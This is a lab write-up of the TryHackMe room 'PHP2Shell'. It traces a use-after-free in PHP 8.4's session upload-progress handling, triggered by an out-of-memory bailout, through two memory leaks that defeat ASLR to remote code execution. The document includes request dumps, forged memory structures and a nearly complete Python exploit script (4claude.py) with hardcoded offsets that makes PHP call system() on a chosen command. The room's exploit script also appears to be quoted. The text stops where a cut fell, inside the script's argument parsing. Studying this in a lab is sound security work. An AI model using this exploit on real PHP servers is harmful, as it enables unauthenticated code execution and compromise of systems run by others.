hubertf's deep-dive into php2shell

Powered by TryHackMe

Author: Hubert Feyrer / hubertf, 2026-10-22


Contents

1. Introduction

This is a walk through PHP2Shell, a TryHackMe room, but it is written as a deep-dive rather than a scorecard: the point is to understand, end to end, how a single memory-safety bug in the PHP engine turns a page that only prints OK into unauthenticated remote code execution (RCE).

The target is the official php:8.4.26-apache image behind a single-worker Apache prefork. The whole attack rides on session.upload_progress, a feature that initialises a session from inside the multipart/form-data body parser - before the request environment even exists, and without the target page calling session_start(). An out-of-memory (OOM) bailout in that pre-init window leaves two session globals dangling, and the same use-after-free (UAF) is reused three times:

Environment throughout: PHP 8.4.26, Debian 12, Apache 2.4.69, x86-64, mod_php.

The destination, first. The published reference exploit already does all of this in one command - two leaks, one shell:

$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from /home/ubuntu/php2shell-bypass-aslr-exp/out/offsets.env
[*] offsets: zif=0x465370 dtor=0x65eb60 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7b6ea5400000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7b6ea7164000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7b6ea54690d8 ZIF=0x7b6ea75c9370
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
exploit.py run: heap leak, libphp leak, stage 3, PROOF uid=33 www-data, then the box powers off

The reference exploit.py: both leaks, stage 3, and PROOF: uid=33(www-data) - then the room timed out and the box powered off.

Everything below rebuilds that result by hand, one move at a time, to see exactly why each step works. The dead ends are kept on purpose - they are where most of the understanding is.

2. The target, and how to reach it

The room spawns a box and gives SSH access; there is no file handout. The vulnerable service and the reference exploit repository both live on that box.

$ sshpass -p tryhackme ssh ubuntu@10.129.163.82
ubuntu@tryhackme-2404:~$ ls php2shell-bypass-aslr-exp
docker  exploit.py  out  README.md  ...

The vulnerable service is a Docker container (php2shell-target) listening on 127.0.0.1:8088. The page it serves is literally one line of PHP, so there is no application logic to attack - the entire attack surface is the engine itself:

<?php echo "OK\n"; ?>

The banner names the exact build:

Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26

The lab php.ini fixes the settings the chain depends on: single-worker prefork, display_errors=On, memory_limit=8M, max_input_vars=1000, session.use_strict_mode=0, session.upload_progress.enabled=On, session.upload_progress.cleanup=On. The compose file bind-mounts the host out/ directory to /out and the flag to /f - both matter later for the 14-byte command budget. Each of these settings turns up again as a link in the chain; section 8 lists which ones, and how removing any of them breaks it.

3. A harmless feature: session.upload_progress

Every exploit stands on something built to be useful. Here it is session.upload_progress: while PHP is still reading a multipart/form-data body off the wire, it writes the upload's progress into $_SESSION so a second request can report it back. The write happens from inside the body-parsing callbacks, which run before the request environment is set up and before the target script executes. Reaching that code needs no session_start() in the page, no login, no application logic - any URL that accepts a POST is enough. That pre-execution window is the whole foothold.

To drive it, two things are needed: a field whose name matches session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS), and a real file part. The obvious first attempt - a quick curl - gets neither right.

3.1 A plain POST never reaches the parser (failed)

session.upload_progress is written only from the RFC-1867 (multipart/form-data) parser. A plain curl --data sends application/x-www-form-urlencoded, which that parser never sees.

$ curl -v -X POST --data 'PHP_SESSION_UPLOAD_PROGRESS=1' --data @1M -s http://127.0.0.1:8088/index.php
> POST /index.php HTTP/1.1
> Host: 127.0.0.1:8088
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Server: Apache/2.4.69 (Debian)
< X-Powered-By: PHP/8.4.26
< Content-Type: text/html; charset=UTF-8
<
<br />
<b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
OK

Conclusion: the only effect is the max_input_vars warning; no session, no progress callback. The body has to be real multipart with a file part, which means building it by hand.

3.2 Multipart creates a session - but it leaks nothing (failed)

A hand-built multipart body (PHPSESSID, the progress flag, a file part) does create a session. Does the progress data stay readable afterwards?

$ python3 1claude.py
HTTP/1.1 200 OK
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
Set-Cookie: PHPSESSID=af82f88138fb53fb3c5612961d926066; path=/
Content-Length: 3
Connection: close
Content-Type: text/html; charset=UTF-8

OK

$ docker exec php2shell-target ls -la /tmp/ | grep af82f88138fb53fb3c5612961d926066
-rw------- 1 www-data www-data     0 Oct 22 18:22 sess_af82f88138fb53fb3c5612961d926066

Conclusion: the session file exists but is 0 bytes. session.upload_progress.cleanup=On deletes the progress entry the moment the upload ends. The feature works exactly as designed, and on its own gives up nothing. To leak memory we need the feature to misbehave - and that is the bug.

4. The bug: a bailout at the wrong moment

Why would a freed pointer survive into the next request at all? Because the worker is mod_php under prefork - one long-lived process per worker - and the bug makes PHP skip its own cleanup.

Request A sends a 12 MB form field. Form-field values are allocated on the heap (uploaded files stream to disk and do not count against the limit), so this blows through memory_limit=8M while php_session_initialize() is running inside the pre-RINIT multipart callback. zend_bailout() does a longjmp out of php_hash_environment() - and crucially, it jumps out before PG(modules_activated)=1 is reached. At request shutdown that flag is still 0, so zend_deactivate_modules() is skipped and the session module's request-shutdown never runs, leaving its globals pointing at freed memory.

The three excerpts below are condensed from the PHP 8.4.26 source (git tag php-8.4.26); the /* ... */ notes are mine, not part of the original. The files are main/main.c and ext/session/session.c:

/* main/main.c - php_request_startup() */
    php_hash_environment();      /* multipart parsed here -> session init -> OOM */
    zend_activate_modules();
    PG(modules_activated)=1;     /* bailout jumps out before this runs */
} zend_catch { retval = FAILURE; } zend_end_try();

/* main/main.c - php_request_shutdown() */
    /* 5. Call all extensions RSHUTDOWN functions */
    if (PG(modules_activated)) {        /* still 0 -> skipped */
        zend_deactivate_modules();      /* session RSHUTDOWN never runs */
    }

/* ext/session/session.c - php_session_track_init() */
    /* Unconditionally destroy existing array -- possible dirty data */
    if (!Z_ISUNDEF(PS(http_session_vars))) {
        zval_ptr_dtor(&PS(http_session_vars));   /* fires our fake array */
    }

Conclusion: one bug, two dangling globals. PS(id) is read back when PHP builds the Set-Cookie header - that gives the leaks. And PS(http_session_vars) is passed to zval_ptr_dtor() on the next session init - that gives execution. Both are reached the same way: a request A to dangle the pointer (OOM), then a request B, in the same worker, to re-occupy the freed block with bytes we control.

5. One primitive, three exploitations

Three stages, one primitive. Each sends the A/B pair from section 4; only what B puts in the reclaimed block, and how PHP reads it back, changes. To keep each worker starting from a clean heap, an HTTP-only worker rotation (abort the child, let prefork fork a fresh one with the same mappings) runs between stages.

5.1 Leak 1: the heap base, from a forged zend_string (success)

Re-occupy the freed PS(id) with a zend_string whose length field we set to 0x1000. When PHP builds the cookie it calls php_url_encode(ZSTR_VAL, ZSTR_LEN) on that string, so it encodes 4096 bytes of neighbouring heap straight into the Set-Cookie header.

$ python3 2claude.py
=== A: trigger the OOM bailout ========================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
    (body: 1005 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
  [ 1002 filler parts ]  name p0000 .. PHPSESSID  value 1B each
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: pwn
  name="f" filename="a.txt"  value 64B: AAAAAAAA[... 64 x b'A' ...]
  name="big"  value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]

HTTP/1.1 200 OK
<br />
<b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000. ... in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  PHP Request Startup: Session cookie cannot be sent after headers have already been sent in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Fatal error</b>:  Allowed memory size of 8388608 bytes exhausted (tried to allocate 2098791 bytes) in <b>Unknown</b> on line <b>0</b><br />

=== B: re-occupy and leak =============================================
--- request ----------------------------------------------------------
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=BBBBBBBBBB
    (body: 844 multipart fields, boundary=BBBBBBBBBB)
  name="PHPSESSID"  value 19B: attacksessionid0001
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: pwn
  [ 841 filler parts ]  name 1000 .. 1840  value 48B each
  name="1999"  value 79B:
  00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  00000010  00 10 00 00 00 00 00 00 4c 41 41 41 41 41 41 41
  00000020  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  ... 31 more bytes

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=LAAAAAAAA[... 47 x b'A' ...]%130%84%A0...%00%00; path=/

[*] cookie payload: 4096 bytes

  00000000  4c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  00000010  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  00000020  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
  00000030  13 30 84 a0 c7 73 69 27 a0 70 2a 73 d7 77 00 00   <- ptr 0x77d7732a70a0 @+8
  00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00000060  37 54 78 a2 56 ec a6 26 c0 70 2a 73 d7 77 00 00   <- ptr 0x77d7732a70c0 @+8
  ... 3584 more bytes

[+] heap pointers found, 98 of them agree
[+] Zend MM chunk base = 0x77d773200000

(Click to enlarge) Leak 1 on the wire: the forged 79-byte field, the 4 KB cookie, and the hexdump whose 2 MB-aligned pointers give the chunk base.

Conclusion: the most common 2 MB-aligned value among the 98 leaked pointers is the Zend memory manager chunk base, 0x77d773200000. Half of ASLR is gone.

5.2 Leak 2: the libphp base, from a fake HashTable (success)

The heap base is not enough for system(); we need the libphp.so base, i.e. a code address. This time B forges no bytes at all - it uses array syntax (a0406[0], a0406[1], ...) so PHP builds a real HashTable, and the dangling PS(id) lands on it. Read as a string, the HashTable's own fields line up so that ZSTR_LEN is its nTableSize and the bytes that follow are its pDestructor.

$ python3 3claude.py
########################################################################
# LEAK 2 - libphp leak via a real HashTable's pDestructor
########################################################################

=== A: trigger the OOM bailout ========================================
--- request ----------------------------------------------------------
    (body: 1005 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
  [ 1001 filler parts ]  name f0000 .. f1000  value 39B each
  name="PHPSESSID"  value 1B: \x00
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: pwn
  name="f" filename="a.txt"  value 64B: AAAAAAAA[... 64 x b'A' ...]
  name="big"  value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]

[*] B sprays 983 arrays; index a0406 carries 16 elements
=== B: re-occupy with a HashTable and leak ============================
    (body: 1000 multipart fields, boundary=BBBBBBBBBB)
  name="PHPSESSID"  value 19B: attacksessionid0001
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: pwn
  [ 998 filler parts ]  name a0000[0] .. a0982[0]  value 16B each

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%DB%5Cu%D7w%00%00; path=/
<br />
<b>Warning</b>:  PHP Request Startup: Session ID is too long or contains illegal characters. ... in <b>Unknown</b> on line <b>0</b><br />

[*] cookie payload: 16 bytes

  00000000  10 00 00 00 00 00 00 00 60 db 5c 75 d7 77 00 00   <- ptr 0x77d7755cdb60 @+8

[*] nNextFreeElement = 0x10
[*] pDestructor      = 0x77d7755cdb60

[+] pDestructor is ZVAL_PTR_DTOR (libphp+0x65eb60)
[+] libphp base = 0x77d774f6f000

========================================================================
SUMMARY
  Zend MM chunk base : 0x77d773200000
  libphp base        : 0x77d774f6f000

Conclusion: ZSTR_LEN reads nTableSize=16, so only 16 bytes come back; bytes 8..16 are pDestructor = ZVAL_PTR_DTOR. Its low 12 bits are ASLR-invariant (page offset), which confirms the function, and pDestructor - 0x65eb60 gives libphp base = 0x77d774f6f000. ASLR is fully defeated; CVE-2026-109618 is complete.

5.3 From leak to shell (success)

Now the second dangling pointer. php_session_track_init() calls zval_ptr_dtor() on PS(http_session_vars) ("unconditionally destroy possible dirty data"). We overwrite it with a fake reference to a fake array whose pDestructor is zif_system, with the command string placed where the destructor's argument will be read.

$ python3 4claude.py
########################################################################
# LEAK 1 - heap leak -> Zend MM chunk base
########################################################################
[+] Zend MM chunk base = 0x77d773200000

########################################################################
# LEAK 2 - libphp leak -> libphp base
########################################################################
[+] libphp base = 0x77d774f6f000

########################################################################
# STAGE 3 - CVE-109619: fake array -> zif_system
########################################################################
[*] HTDATA = 0x77d7732690d8   ZIF = 0x77d7753d4370   cmd = b'id>/out/p'

=== A3: re-dangle and pin R0 ==========================================
    (body: 10 multipart fields, boundary=SSSSSSSSSSSSSSSSS)
  name="PHPSESSID"  value 19B: aaaaaaaaaaaaaaaaaaa
  name="PHP_SESSION_UPLOAD_PROGRESS"  value 3B: ppp
  [ 6 filler parts ]  name p00..000000 .. p00..000005  value 31B each
  name="f" filename="a.txt"  value 64B: AAAAAAAA[... 64 x b'A' ...]
  name="big"  value 12582912B: BBBBBBBB[... 12582912 x b'B' ...]

--- fake array (167B), sprayed 15x so one lands at HTDATA ---
  00000000  01 00 00 00 07 00 00 00 10 00 00 00 f8 ff ff ff
  00000010  f8 90 26 73 d7 77 00 00 01 00 00 00 01 00 00 00   <- arData
  00000030  70 43 3d 75 d7 77 00 00 00 00 00 00 00 00 00 00   <- pDestructor = zif_system
  0x00000098  69 64 3e 2f 6f 75 74 2f 70  <- command b'id>/out/p'

--- carrier (15B) overwriting PS(http_session_vars).val ---
  00000000  01 00 00 00 1a 00 00 00 d8 90 26 73 d7 77 00

=== B3: plant the fake array and fire =================================
    (body: 20 multipart fields, boundary=BBBBBBBBBB)
  name="f00"  value 15B: FFFFFFFFFFFFFFF
  name="g00"  value 15B: \x01\x00\x00\x00\x1a\x00\x00\x00\xd8\x90&s\xd7w\x00
  [ 15 filler parts ]  name a00..000000 .. a00..000014  value 167B each

[*] payload delivered; command ran inside the worker

========================================================================
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): uid=33(www-data) gid=33(www-data) groups=33(www-data)

Conclusion: the destructor chain zval_ptr_dtor -> zend_array_destroy -> pDestructor(&bucket->val) becomes system("id>/out/p"), and PROOF shows uid=33(www-data). No libc is needed - the final call stays inside libphp.

6. Living in the shell

The RCE runs one command at a time, and the command is capped at 14 bytes (section 7 explains why). That is enough to map the target and find the flag - but it is a tight budget, and even recon bumps into it: ls -li is one byte too long, so the tool refuses it before sending.

$ python3 4claude.py 'ls -li />/out/p'
[-] cmd is 15 bytes; the carrier allows at most 14.  Write a script to /out/c and run:  4claude.py 'sh</out/c'

$ python3 4claude.py 'ls -i />/out/p'
...
PROOF (/home/ubuntu/php2shell-bypass-aslr-exp/out/p): 512906 bin
512907 boot
     1 dev
532572 etc
532769 f
532769 flag.txt
513093 home
513094 lib
513095 lib64

mount (12 bytes) confirms the picture and shows the writable surface (trimmed to the relevant lines):

$ python3 4claude.py 'mount>/out/p'
...
overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...,nouserxattr)
/dev/root on /out type ext4 (rw,relatime,discard)
/dev/root on /f type ext4 (ro,relatime,discard)
/dev/root on /flag.txt type ext4 (ro,relatime,discard)
/dev/root on /var/www/html type ext4 (ro,relatime,discard)
/dev/root on /usr/local/etc/php/conf.d/zz-php2shell.ini type ext4 (ro,relatime,discard)

Conclusion: /f and /flag.txt share inode 532769 and are two separate read-only bind mounts of the same /dev/root source - so /f is a second name for the flag, not a hardlink anyone created. The mounts also show /out as the only rw surface (our exfiltration channel) while /var/www/html is ro, so a classic PHP webshell drop is off the table and the memory-corruption path is the intended way in. Of the 14 bytes, the redirect >/out/p already eats 7, leaving just 7 bytes for the command itself: cat /f is 6, ls -i / is 7, right at the edge.

7. The complete exploit

The full by-hand chain, 4claude.py: the two leaks, then stage 3, reading the command output back from the /out bind mount. The 14-byte cap comes from the 167-byte fake zend_string carrier that holds the command (167 - 0x98 - 1).

$ cat 4claude.py
#!/usr/bin/env python3
"""PHP2Shell end to end, by hand: CVE-2026-109618 (both leaks) + 109619 (RCE).

  Leak 1   PS(id) -> forged zend_string (len=0x1000)   -> Zend MM chunk base
  Leak 2   PS(id) -> a real HashTable's pDestructor     -> libphp base
  Stage 3  PS(http_session_vars) -> fake reference -> fake array whose
           pDestructor = zif_system, called by zval_ptr_dtor with our command

The first two only READ (via php_url_encode into Set-Cookie).  Stage 3 does not
read anything: it overwrites the SECOND dangling pointer that the same OOM
bailout left behind, so that PHP's own cleanup calls system("<cmd>").

Target: the lab container (docker/docker-compose.yml), official
php:8.4.26-apache, single-worker prefork.  Byte layout and calibration taken
from the project's exploit.py (bookworm profile).
"""
import argparse
import os
import re
import socket
import struct
import time
import urllib.parse

HOST, PORT = "127.0.0.1", 8088
SID = b"attacksessionid0001"

# Command system() will run.  The 167-byte carrier leaves room for 14 bytes.
CMD = b"id>/out/p"
PROOF_CANDIDATES = ["out/p", os.path.expanduser("~/php2shell-bypass-aslr-exp/out/p")]

# --- calibration (official php:8.4.26-apache) ------------------------------
N_FILL = 841            # leak 1: 48-byte filler count
STAGE2_T = 406          # leak 2: which sprayed array gets 16 elements
STAGE2_V = 16           # leak 2: element value length
STAGE3_PADS = [(31, 31)] * 6   # stage 3: name/value lengths that pin R0

# --- libphp offsets (official image) ---------------------------------------
DTOR_OFFSET = 0x65EB60  # ZVAL_PTR_DTOR
ZIF_OFFSET = 0x465370   # zif_system
HTDATA_OFFSET = 0x690D8 # chunk-relative live 167-byte string we overwrite
MAX_CMD = 14


def fold(raw, maxlen=2000):
    out = re.sub(rb"(.)\1{31,}",
                 lambda m: m.group(1) * 8 + b"[... %d x %r ...]" % (len(m.group(0)), m.group(1)),
                 raw)[:maxlen]
    out = re.sub(rb"[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\xff]",
                 lambda m: b"\\x%02x" % m.group(0)[0], out)
    return out.decode("latin1")


def hexdump(data, width=16, limit=None, notes=None):
    """Uniform hex view; tags heap pointers and any offsets in `notes`."""
    notes = notes or {}
    end = len(data) if limit is None else min(len(data), limit)
    for off in range(0, end, width):
        row = data[off:off + width]
        cells = " ".join(f"{b:02x}" for b in row)
        tag = ""
        for i in range(max(0, len(row) - 7)):
            v = int.from_bytes(row[i:i + 8], "little")
            if 0x600000000000 <= v < 0x800000000000:
                tag = f"  <- ptr {v:#014x} @+{i}"
                break
        for noff, label in notes.items():
            if off <= noff < off + width:
                tag = f"  <- {label}"
        print(f"  {off:08x}  {cells:<{width * 3}}{tag}")
    if end < len(data):
        print(f"  ... {len(data) - end} more bytes")


def show_request(parts, boundary, header):
    print("--- request " + "-" * 58)
    print(header.decode("latin1").rstrip())
    print(f"    (body: {len(parts)} multipart fields, boundary={boundary.decode()})")
    i = 0
    while i < len(parts):
        name, data, fn = parts[i]
        j = i
        while (j < len(parts) and parts[j][2] is None
               and len(parts[j][1]) == len(data) and fn is None):
            j += 1
        if j - i >= 4:
            lo = parts[i][0].decode("latin1", "replace")
            hi = parts[j - 1][0].decode("latin1", "replace")
            print(f"  [ {j - i} filler parts ]  name {lo} .. {hi}  value {len(data)}B each")
            i = j
            continue
        head = f'name="{name.decode("latin1", "replace")}"'
        if fn:
            head += f' filename="{fn.decode("latin1", "replace")}"'
        if fn is None and 32 <= len(data) <= 256:
            print(f"  {head}  value {len(data)}B:")
            hexdump(data, limit=0x30)
        else:
            print(f"  {head}  value {len(data)}B: {fold(data, 48)}")
        i += 1
    print()


def send(parts, boundary, show=False, timeout=90, extra_headers=None):
    body = b""
    for name, data, fn in parts:
        body += b"--" + boundary + b"\r\n"
        body += b'Content-Disposition: form-data; name="' + name + b'"'
        if fn:
            body += b'; filename="' + fn + b'"\r\nContent-Type: application/octet-stream'
        body += b"\r\n\r\n" + data + b"\r\n"
    body += b"--" + boundary + b"--\r\n"

    hdr = (b"POST /index.php HTTP/1.1\r\n"
           b"Host: " + HOST.encode() + b":" + str(PORT).encode() + b"\r\n"
           b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
           b"Content-Length: " + str(len(body)).encode() + b"\r\n")
    if extra_headers:
        for k, v in extra_headers.items():
            hdr += k.encode() + b": " + v.encode() + b"\r\n"
    hdr += b"Connection: close\r\n\r\n"

    if show:
        show_request(parts, boundary, hdr)

    s = socket.create_connection((HOST, PORT), timeout=timeout)
    s.settimeout(timeout)
    s.sendall(hdr + body)
    resp = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk:
                break
            resp += chunk
    except socket.timeout:
        pass
    s.close()
    return resp


def cookie_bytes(resp):
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) if m else b""


def oom_request(filler_prefix, filler_val):
    """Request A: OOM inside session init, dangling PS(id) and
    PS(http_session_vars)."""
    parts = [(f"{filler_prefix}{i:04d}".encode(), filler_val, None) for i in range(1001)]
    parts += [(b"PHPSESSID", b"\x00", None),
              (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
              (b"f", b"A" * 64, b"a.txt"),
              (b"big", b"B" * (12 << 20), None)]
    return parts


def rotate():
    a = [(f"f{i:04d}".encode(), b"V" * 3000, None) for i in range(1001)]
    a += [(b"PHPSESSID", b"\x00", None),
          (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
          (b"f", b"A" * 64, b"a.txt"),
          (b"big", b"B" * (12 << 20), None)]
    send(a, boundary=b"S" * 17)
    time.sleep(0.3)
    send([(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)],
         boundary=b"BNDRY12345", timeout=20)
    time.sleep(0.5)


def leak1():
    print("#" * 72 + "\n# LEAK 1 - heap leak -> Zend MM chunk base\n" + "#" * 72)
    send(oom_request("p", b"x"), boundary=b"S" * 17)
    time.sleep(0.2)
    B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
    for i in range(N_FILL):
        B.append((str(1000 + i).encode(), (f"v{i:04d}" + "x" * 44)[:48].encode(), None))
    forge = bytearray(b"A" * 79)
    struct.pack_into("<Q", forge, 0x10, 0x1000)
    forge[0x18] = ord("L")
    B.append((b"1999", bytes(forge), None))
    raw = cookie_bytes(send(B, boundary=b"B" * 10))
    if len(raw) < 1000:
        return None
    hits = {}
    for i in range(len(raw) - 8):
        v = int.from_bytes(raw[i:i + 8], "little")
        if 0x600000000000 <= v < 0x800000000000:
            hits[v & ~0x1FFFFF] = hits.get(v & ~0x1FFFFF, 0) + 1
    base = max(hits.items(), key=lambda kv: kv[1])[0] if hits else None
    print(f"[+] Zend MM chunk base = {base:#x}" if base else "[-] leak 1 failed")
    return base


def leak2():
    print("\n" + "#" * 72 + "\n# LEAK 2 - libphp leak -> libphp base\n" + "#" * 72)
    send(oom_request("f", b"x" * 39), boundary=b"S" * 17)
    time.sleep(0.2)
    B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
    for i in range(983):
        for j in range(16 if i == STAGE2_T else 1):
            B.append((f"a{i:04d}[{j}]".encode(), b"x" * STAGE2_V, None))
    raw = cookie_bytes(send(B, boundary=b"B" * 10))
    if len(raw) < 16:
        print("[-] leak 2 failed")
        return None
    pdtor = int.from_bytes(raw[8:16], "little")
    if pdtor & 0xFFF != DTOR_OFFSET & 0xFFF:
        print(f"[-] leak 2: {pdtor:#x} is not ZVAL_PTR_DTOR")
        return None
    base = pdtor - DTOR_OFFSET
    print(f"[+] libphp base = {base:#x}")
    return base


def fake_payload(htdata, zif, cmd):
    """Byte-for-byte from exploit.py: a fake array (pDestructor=zif_system)
    plus a fake zend_string holding the command, and the 55-byte reference."""
    if len(cmd) > MAX_CMD:
        raise ValueError(f"cmd is {len(cmd)}B, carrier allows {MAX_CMD}")
    ht = bytearray(b"\x00" * 167)
    struct.pack_into("<II", ht, 0x00, 1, 7)                 # gc: rc=1, IS_ARRAY
    struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)     # flags, nTableMask
    struct.pack_into("<Q", ht, 0x10, htdata + 0x20)         # arData
    struct.pack_into("<II", ht, 0x18, 1, 1)                 # nNumUsed/OfElements
    struct.pack_into("<II", ht, 0x20, 8, 0)                 # nTableSize/pointer
    struct.pack_into("<Q", ht, 0x28, 0)                     # nNextFreeElement
    struct.pack_into("<Q", ht, 0x30, zif)                   # pDestructor = zif_system
    E = 0x20                                                # fake execute_data
    struct.pack_into("<Q", ht, E + 0x00, 0)
    struct.pack_into("<Q", ht, E + 0x08, 0)
    struct.pack_into("<Q", ht, E + 0x10, zif)
    struct.pack_into("<Q", ht, E + 0x18, 0)
    struct.pack_into("<Q", ht, E + 0x20, 0)
    struct.pack_into("<I", ht, E + 0x28, 0)
    struct.pack_into("<I", ht, E + 0x2C, 1)                 # num_args = 1
    struct.pack_into("<Q", ht, E + 0x30, 0)
    struct.pack_into("<Q", ht, E + 0x38, 0)
    struct.pack_into("<I", ht, E + 0x40, 0)
    struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)     # arg1 value -> cmd string
    struct.pack_into("<I", ht, E + 0x58, 6)                 # arg1 IS_STRING
    struct.pack_into("<II", ht, 0x80, 1, 0x106)             # fake zend_string gc
    struct.pack_into("<Q", ht, 0x88, 0)
    struct.pack_into("<Q", ht, 0x90, len(cmd))              # len
    ht[0x98:0x98 + len(cmd)] = cmd
    ht[0x98 + len(cmd)] = 0

    ref = bytearray(b"X" * 55)
    struct.pack_into("<II", ref, 0x10, 1, 10)               # IS_REFERENCE
    struct.pack_into("<Q", ref, 0x18, htdata)               # val.value -> fake array
    struct.pack_into("<Q", ref, 0x20, 0x307)                # IS_ARRAY_EX
    struct.pack_into("<Q", ref, 0x28, 0)
    return bytes(ht), bytes(ref)


def stage3(chunk, libphp, cmd):
    print("\n" + "#" * 72 + "\n# STAGE 3 - CVE-109619: fake array -> zif_system\n" + "#" * 72)
    htdata = chunk + HTDATA_OFFSET
    zif = libphp + ZIF_OFFSET
    print(f"[*] HTDATA = {htdata:#x}   ZIF = {zif:#x}   cmd = {cmd!r}")

    # A3: OOM again to re-dangle, with 6 pads that pin the reference R0 to a
    # known chunk offset.  The extra Cookie keeps PS(id) valid so B's init
    # leaves send_cookie=0 (no Set-Cookie write that would clobber val.type).
    A = [(b"PHPSESSID", b"a" * 19, None),
         (b"PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3, None)]
    for i, (nl, vl) in enumerate(STAGE3_PADS):
        A.append(((f"p{i:0{nl - 1}d}")[:nl].encode(), b"V" * vl, None))
    A += [(b"f", b"A" * 64, b"a.txt"), (b"big", b"B" * (12 << 20), None)]
    print("\n=== A3: re-dangle and pin R0 " + "=" * 42)
    send(A, boundary=b"S" * 17, show=True,
         extra_headers={"Cookie": "PHPSESSID=" + "a" * 32})
    time.sleep(0.3)

    ht, ref = fake_payload(htdata, zif, cmd)

    # Show the forged array once, annotated - this is the heart of stage 3.
    print("--- fake array (167B), sprayed 15x so one lands at HTDATA ---")
    hexdump(ht, limit=0x40, notes={0x10: "arData",
                                   0x30: "pDestructor = zif_system"})
    print(f"  0x00000098  {' '.join(f'{b:02x}' for b in ht[0x98:0x98+len(cmd)])}"
          f"  <- command {cmd!r}\n")

    # B3 (carrier path): a 15-byte zend_string that lands exactly on
    # PS(http_session_vars) and rewrites the low 7 bytes of val.value to point
    # at our fake array, keeping the high byte 0x00 (canonical 0x00007f...).
    carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
    print("--- carrier (15B) overwriting PS(http_session_vars).val ---")
    hexdump(carrier)
    print()

    B = [(b"PHPSESSID", SID, None), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None)]
    for i in range(2):
        B.append((f"f{i:02d}".encode(), b"F" * 15, None))
    B.append((b"g00", carrier, None))
    for i in range(15):
        B.append(((f"a{i:030d}")[:31].encode(), ht, None))

    print("=== B3: plant the fake array and fire " + "=" * 33)
    send(B, boundary=b"B" * 10, show=True, timeout=30)
    # No Set-Cookie to read: the payload runs server-side via
    #   php_session_track_init -> zval_ptr_dtor(PS(http_session_vars))
    #     -> reference destroy -> zval_ptr_dtor(&ref->val)  [IS_ARRAY_EX]
    #       -> zend_array_destroy -> pDestructor(&bucket->val) = zif_system(cmd)
    print("[*] payload delivered; command ran inside the worker")


if __name__ == "__main__":
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="PHP2Shell end-to-end: two info leaks defeat ASLR, then a\n"
                    "fake array makes PHP call system() on your command.",
        epilog=f"""
how the command works
---------------------
  * It runs server-side as system("<cmd>") inside the Apache worker (uid
    www-data).  Its stdout does NOT come back over HTTP - the page only ever
    prints "OK".  To SEE output, redirect it into the mounted file /out/p,
    which this script reads back at the end.

  * HARD LIMIT: the command must be at most {MAX_CMD} bytes.  It is carried
    inside a 167-byte fake zend_string and that is all the room there is.

examples
--------
  ./4claude.py                       # default: id>/out/p   (9 bytes)
  ./4claude.py 'cat /f>/out/p'       # read the THM flag   (13 bytes)
  ./4claude.py 'whoami>/out/p'       # 13 bytes

longer commands ({MAX_CMD} bytes is not enough?)
------------------------------------------
  Write the real command to a file first, then run it with a short one:
      printf 'uname -a; id > /out/p\\n' > out/c
      ./4claude.py 'sh</out/c'        # 8 bytes, runs the whole script
""")
    ap.add_argument("cmd", nargs="?", default=CMD.decode(), metavar="COMMAND",
                    help=f"command to run (<= {MAX_CMD} bytes; default: %(default)s)")
    ap.add_argument("--host", default=HOST, help="target host (default: %(default)s)")
